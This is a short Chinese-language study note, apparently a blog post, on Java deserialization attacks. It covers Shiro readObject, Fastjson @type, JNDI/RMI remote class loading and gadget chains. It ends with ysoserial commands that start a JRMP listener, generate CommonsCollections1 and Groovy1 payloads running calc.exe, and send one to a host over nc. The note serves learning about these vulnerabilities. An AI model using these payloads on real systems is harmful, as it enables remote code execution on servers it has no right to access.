为什么shiro看到readObject就可以收工了？
对一个类反序列化还原后第一个执行的就是readObject、在反序列化中执行一系列的攻击链条，可能是JDNI攻击链（对JDK版本有要求）、可能是CommonCollections这个宿主类并包装、可能是BadException这个宿主类并包装。反序列化只是实现1.控制输入、反序列（readObject）,具体反序列什么样的东西留给攻击链利用研究。
反序列化三个条件
宿主、媒介、恶意代码。其中上述需要传入的就是恶意代码。我们控制了恶意代码的入口点，反序列漏洞就形成了，后续还需要媒介和宿主形成完整的RCE
为什么需要媒介和宿主
JAVA反序列化要求：反序列化的类需要在本地有实现，且实现Serialize接口。因此随便写一个类可以满足第二个条件不能满足第一个条件，因此只能写一个宿主的包装类（这样就被认为传递的是宿主类），其包装就需要媒介类的参与。
Fastjson反序列化的时候怎么做的
Fastjson反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。
使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理，
@type可以指定反序列化任意类调用其set，get，is方法，并且由于反序列化的特性，我们可以通过目标类的set方法自由的设置类的属性值。
以上为恶意代码阶段
以下为Gadget阶段
常见的攻击流程是这样的：攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数形成RCE。
什么是Gadget
貌似就是后续这条媒介+宿主的利用链吧。
ysoserial是干什么的
简单点来说、就是研究Gadget后整理出来快速利用各个Gadget达到RCE的、其中包含了多种利用链。具体使用有待研究，它很有效，也很方便。
链接方式：JRMP协议
已知攻击链：
1 | BeanShell1 |
利用方式官方给出三种：
启动绑定1099的JRMP服务动态提供字节码
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'calc.exe' |
生成字节流文件输出命令行：
java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ….sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
…
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride……….
0000570: 0078 7071 007e 003a .xpq.~.:
主动发送到一个端口序列化后的恶意字节流：
$java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin